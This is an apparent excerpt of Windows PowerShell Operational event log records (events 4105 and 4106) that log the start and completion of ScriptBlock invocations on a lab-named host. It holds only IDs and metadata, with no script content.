Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044361
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044360
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044359
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044358
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044342
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044341
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044336
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044335
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
